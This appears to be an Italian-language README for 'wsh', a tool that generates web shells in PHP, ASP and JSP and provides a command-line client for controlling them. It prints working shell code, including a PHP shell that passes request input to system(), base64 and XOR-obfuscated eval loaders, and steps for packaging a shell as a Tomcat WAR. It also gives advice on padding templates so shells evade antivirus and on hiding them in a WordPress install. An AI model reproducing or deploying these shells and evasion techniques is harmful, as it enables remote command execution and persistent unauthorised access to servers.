
Generatore di web shell e interfaccia a riga di comando.
wsh (pronunciato woosh) è un generatore di web shell e un'interfaccia a riga di comando. Tutto è nato come semplice client HTTP, poiché interagire con le web shell è una seccatura. C'è un modulo, per inviare un comando devi digitare in una casella di input e premere un pulsante. Volevo qualcosa che si adattasse meglio al mio flusso di lavoro e che girasse nel terminale. Così è nato wsh.
Il client offre cronologia dei comandi, registrazione (logging) e può essere configurato per interagire con una web shell standard già distribuita con un modulo/pulsante. Il generatore crea web shell in php, asp e jsp. Vengono generate con variabili casuali, quindi ognuna avrà un hash univoco. Possono essere configurate con una whitelist, password e permettono di inviare comandi tramite header e parametri personalizzati. Sia il generatore che il client possono essere configurati tramite flag della riga di comando o file di configurazione, in modo da salvare una configurazione che funzioni per te senza dover fare quella che io chiamo la "danza del --help". Una volta configurati, il client e il generatore utilizzano lo stesso file di configurazione.
wsh <URL> [flags]
-X, --method string Metodo HTTP: GET, POST, PUT, PATCH, DELETE (default "GET")
--param string Parametro per l'invio del comando
--header string Header per l'invio del comando
-P, --params strings Parametri della richiesta HTTP
-H, --headers strings Header della richiesta HTTP
-c, --config string File di configurazione
-k, --ignore-ssl Ignora certificati non validi
--log string File di log
--prefix string Prependi comando: 'cmd /c', 'powershell.exe', 'bash'
--timeout int Timeout della richiesta in secondi (default 10)
--trim-prefix string Rimuovi prefisso dall'output
--trim-suffix string Rimuovi suffisso dall'output
-h, --help help per wsh
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string Metodo HTTP (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string Parametro per l'invio del comando
--header string Header per l'invio del comando
-w, --whitelist strings Indirizzi IP da inserire in whitelist
-o, --outfile string File di output
--no-file Disabilita le funzionalità di caricamento/scaricamento file
--pass string Proteggi la shell con password
--pass-header string Header per l'invio della password
--pass-param string Parametro per l'invio della password
--xor-header string Header per l'invio della chiave XOR
--xor-key string Chiave per la crittografia XOR
--xor-param string Parametro per l'invio della chiave XOR
--base64 Codifica la shell in base64
--minify Minifica il codice della web shell
-t, --template string File template per la web shell
-h, --help help per generate
Volevo che il client fosse indipendente dal linguaggio, quindi tutte le web shell dovevano implementare la stessa logica di upload/download. Purtroppo è fastidioso fare upload multipart in nativo con jsp e asp classico, quindi i file vengono caricati come base64 in un parametro. Questo non è ideale poiché la dimensione massima del file caricato è limitata alla dimensione massima del parametro. In futuro potrei provare a implementare upload multipart o effettuare più richieste per trasferire file più grandi.
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Scarica file
put <local filepath> [remote filepath] Carica file
clear Pulisci schermo
exit Esci dalla shell
I seguenti comandi generano e interagiscono con una semplice web shell php.
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
I comandi possono anche essere inviati tramite header HTTP
$ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
Le password possono essere inviate tramite parametri o header.
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
Questa funzionalità è interessante, ma potrebbe richiedere alcune modifiche ai template per essere utile. Nel caso di asp e jsp, le librerie che facilitano la decodifica base64 sono IOC noti e verranno segnalati. Se sei interessato a utilizzare queste funzionalità, ti consiglio di modificare il template e offuscare.
Come per la protezione tramite password, la chiave XOR può essere inviata tramite un parametro o un header.
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
Per generare una web shell che possa essere distribuita su Tomcat, crea una shell jsp chiamata index.jsp ed esegui il comando qui sotto per zipparla in un file war.
Occasionalmente, l'ambiente Tomcat non ha le librerie necessarie per il caricamento/scaricamento file e la shell restituirà un errore quando viene fatta una richiesta. Per risolvere, usa il flag --no-file.
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
L'uso della libreria di template di Go aggiunge molta flessibilità al generatore. A volte una web shell viene intercettata dall'antivirus, tuttavia ho scoperto che aggiungere un sacco di codice casuale nel file template spesso rende la shell abbastanza innocua da permetterle di persistere sul disco. Ho incluso un esempio nel file templates/covert-php.tml.
Inoltre, puoi modificare questi template per includere il tuo nome/informazioni di contatto per l'attribuzione nel caso di un test di penetrazione.
È possibile specificare un prefisso da anteporre a ogni comando inviato alla shell. Questo può essere usato per trasformare una normale shell cmd in una shell powershell.
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
I log includono timestamp e l'host con cui si sta interagendo. I file di log vengono accodati, quindi puoi usare lo stesso file di log per più sessioni/host.
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
Il client può essere configurato per rimuovere contenuto HTML estraneo da una richiesta; questo è utile quando si interagisce con web shell con interfaccia HTML standard, o magari se una shell generata è nascosta in un'installazione WordPress.
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates